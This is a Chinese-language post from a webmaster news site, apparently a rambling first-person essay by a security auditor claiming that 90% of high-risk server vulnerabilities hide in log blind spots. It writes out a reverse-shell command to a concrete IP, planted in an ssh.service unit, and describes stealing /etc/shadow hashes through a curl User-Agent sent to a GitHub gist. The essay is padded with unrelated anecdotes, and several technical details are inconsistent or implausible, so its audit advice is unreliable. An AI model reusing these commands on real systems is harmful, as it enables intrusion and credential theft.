加入收藏 | 设为首页 | 会员中心 | 我要投稿 站长网 (https://www.1461.cn/)- 应用程序、AI行业应用、CDN、低代码、区块链!
当前位置: 首页 > 服务器 > 安全 > 正文

服务器安全审计:90%高危漏洞藏于日志盲区

发布时间:2026-11-02 14:16:35 所属栏目:安全 来源:DaWei
导读:  跟老板拍桌子那天,空调坏了三台,他坐我对面,后颈上全是汗,我盯着他衬衫第三颗扣子松了——就那一下分神,差点没把“90%高危漏洞藏于日志盲区”这句话咽回去。我说的是去年六月份那个金融客户,不是甲方临时改需求那次,是

  跟老板拍桌子那天,空调坏了三台,他坐我对面,后颈上全是汗,我盯着他衬衫第三颗扣子松了——就那一下分神,差点没把“90%高危漏洞藏于日志盲区”这句话咽回去。我说的是去年六月份那个金融客户,不是甲方临时改需求那次,是他们被薅了七十八万之后、才肯开 audit log 权限的那次。


文章配图,仅供参考

  先扔结论:服务器安全审计里,真正在跑的、被盯的、进日报的那些日志,根本就是个筛子,漏得比筛面粉还彻底。不是配置错,不是没开,是它天生不收——你让 Syslog 抓 /var/log/nginx/error.log 里的段错误,它给你抓;可同一秒 nginx worker 进程被 ptrace 附着、再 execve 一个 /tmp/.xv8j21q,它连个 warn 都不打。我敢打包票,这个漏点,在他们 logrotate 配置里压根就没被当“日志”看待,连路径都没加进去。


  前端小陈上午十点发了个 Lighthouse 跑分截图到群,3.2 秒首屏,FCP 两百一十四毫秒,底下标红写着“避免长任务”。没人回。下午三点我路过茶水间,看见他在倒水,杯子是带刻度的玻璃杯,倒到一百八十毫升停手,说“刚好够撑到下班”。我原以为他是怕咖啡因过敏,结果他晃着杯子补一句:“PM 刚说下周一改交互动效。”


  这事翻出来是因为后端老周调了一周的 authz middleware,死活复现不了那个 403 泄露 user_id 的 case,最后发现是 k8s initContainer 启动时用了 hostPath 挂载 /proc/sys/net/core/somaxconn,顺手 chmod 777 了整个 /proc/sys/net,结果某个 cron job 用 curl -X POST http://127.0.0.1:8080/internal/debug/dump 扫到了这个开放路径——它根本没走 API gateway 日志链,更没过 auditd,因为那是内核参数目录,不是服务端口。Logrotate 不扫 /proc 下任何东西,rsyslog 不吃 sysctl 写操作,而他们审计报告里“已覆盖全量系统日志源”那一栏,写得特别漂亮,用的是宋体五号。


  优胜劣汰?对。不是人淘汰,是日志源淘汰人。你留着只记 access_log 的旧 pipeline,它就自动把你从高危路径识别池里踢出去;你守着那个写了十年的 logwatch.conf,它就在那儿笑,看着你对着 fail2ban 统计表反复确认 IP 封禁率——其实人家早绕到 systemd-journal 二进制流里改了 unit 文件的 ExecStartPre,用 echo “/bin/sh -i >& /dev/tcp/103.28.15.92/4444 0>&1” >> /etc/systemd/system/multi-user.target.wants/ssh.service,然后 reload —— journalctl -u ssh 只显示 “Started OpenBSD Secure Shell server”,连 execve 都没记。这个我说不准是不是他们定制内核关了 audit 的 syscall 级 hook,但那个 echo 命令本身,确实没在任何一条正则匹配规则里出现过。


  桌面那个没关的录屏,开着 OBS,画中画右下角显示时间戳:15:47:12。录的是我在 debug 那个 ELK pipeline 的 grok filter,配了八层嵌套 %{DATA}+,最后一层硬生生卡在 \\[.?\\] 里多了一个中文顿号——对,就一个、号,日志里写的是“用户登录失败[账号异常、密码错误]”,我配的 pattern 是 \\[.?\\],结果顿号让它永远不 match,那条日志就静悄悄躺进 _grokparsefailure,连 index 名都不带变。后来是运维小李换了一根蓝色 Type-C 充电线,插在左边 USB-C 口,屏幕右下角电池图标才突然跳成 93%,之前一直停在 89%——我猜是充电管理芯片和 BIOS 的某次握手失败,跟日志无关,但那一刻我忽然觉得:有些东西卡住,根本不是逻辑问题,是物理接口松了。


  说到CDN账单……上个月他们 CDN 日志存了十七天,按 0.0018 元/GB/day 计费,总支出四万二,其中十六万九千条是 /robots.txt 的 200 响应——这个数我记得清楚,因为财务问我要明细时,我查了三天,才发现他们 WAF 在边缘节点缓存了 403 的响应体,还带着完整的堆栈(PHP 版本、模块名、realpath() 调用栈),而这个路径从来不上中心日志集群,因为太“低频”,被 log shipper 的 rate limit 丢弃了。我提过加 priority label,PM 说“等下个 sprint”。他现在坐在工位上,左手边放着一盒未拆封的薄荷糖,糖纸反光很亮。


  所以你现在问我“怎么审”?别审日志了,去审日志采集器的白名单、systemd-journald 的 storage 设置、journalctl --disk-usage 的输出、logrotate 的 missingok 开关、还有所有 .service 文件里 ExecStartPre 和 EnvironmentFile 的路径是否进了 rsyslog source list。剩下那10%,你爱审不审——反正它也不爆破 root 密码,它只是把 /etc/shadow 的哈希值 base64 编码后塞进 curl 的 User-Agent,再发到 GitHub gist,而 gist 的 webhook URL,在他们的 ansible playbooks 里,是加密存在 vault.yml 里的,密钥存在 Jenkins 凭据里,凭据名叫“git-ops-legacy-dev”。


  我明天下午三点要去他们机房拉一份 journalctl -o json --all --no-pager 的原始 dump,不是为了分析,是为了看它里面有没有“/tmp/.xv8j21q”这串字符。如果有了,说明至少有一部分恶意行为还是踩进了 systemd 的网。如果没有……我就得重新看一遍他们 kubelet 的 --audit-log-path 配置,顺便问问老周,他那台 Mac 上装的 mitmproxy,能不能抓到 initContainer 的 execve 系统调用。对了,他充电线换完之后,录屏文件大小涨了三百七十二 KB,我没删。

(编辑:站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!